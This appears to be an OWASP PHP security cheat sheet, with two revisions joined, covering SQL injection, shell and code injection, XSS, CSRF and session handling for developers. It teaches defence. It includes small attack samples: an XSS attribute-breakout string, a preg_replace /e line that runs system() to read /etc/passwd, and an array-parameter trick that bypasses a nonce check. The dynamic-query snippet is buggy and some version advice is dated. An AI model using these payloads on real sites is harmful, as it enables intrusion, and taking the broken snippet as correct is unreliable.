'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-01-06T16:11:21Z

Luke Plant:

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language and 72% of web
servers deploy PHP. PHP is open source.

PHP is unusual in that it is both a language and a web framework, in that it
comes with the typical features of a web framework built-in. Like all web
languages, there is also a large community of libraries etc., which also
contribute to the security (or otherwise) of programming in PHP. All 3 aspects
need to be taken into consideration when trying to secure a PHP site.

There are, unfortunately, serious issues in all areas that make it difficult to
write secure PHP applications. These are difficult to work around if you are
forced to use PHP, but you need to be aware of them.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an
incorrect type into the expected type. This feature very often masks errors by
the developer or injections of unexpected data, leading to vulnerabilities (see
below under "Input handling" for an example).

Try to use functions and operators that do not do implicit type conversions
(e.g. === and not ==). Not all operators have strict versions, and many built-in
functions (like 'in_array') use weakly typed comparison functions, making it
difficult to write correct code.

====Exceptions and error handling====

Almost all core PHP code, and many PHP libraries, do not use exceptions, but
instead report errors in other ways (such as via notices) that allow the faulty
code to carry on running. This has the effect of masking many bugs. In other
languages, error conditions that are caused by developer errors will cause the
program to stop running, which is the safest thing to do.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting]
function, and never attempt to suppress error messages - always follow the
warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many
configuration settings, including fundamental changes to things like how errors
are handled. This can make it very difficult to write code that works correctly
in all circumstances. Different libraries can have different expectations or
requirements about these settings, making it difficult to correctly use 3rd
party code. Some are mentioned below under 'Configuration'.

====Unhelpful builtins====

PHP comes with many builtin functions like 'addslashes', 'mysql_escape_string' and
'mysql_real_escape_string' which appear to provide security, but are often buggy and,
in fact, are unhelpful ways to deal with security problems.

Some of these builtins are being deprecated and removed, but due to backwards compatibility
policies this takes a long time.

===Framework issues===

====URL routing====

PHP's built-in URL routing mechanism is to use files ending in ".php" in the
directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename is appropriately sanitised.

* Source code, including config files, are stored in publically accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use .htaccess to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with $supplied_nonce being an array. strcmp() will then return
NULL (instead of throwing an exception, which would be much more useful), and then
due to weak typing and the '==' operator instead of '===', the
comparison succeeds (since "NULL == 0" is true according to PHP), and the
attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
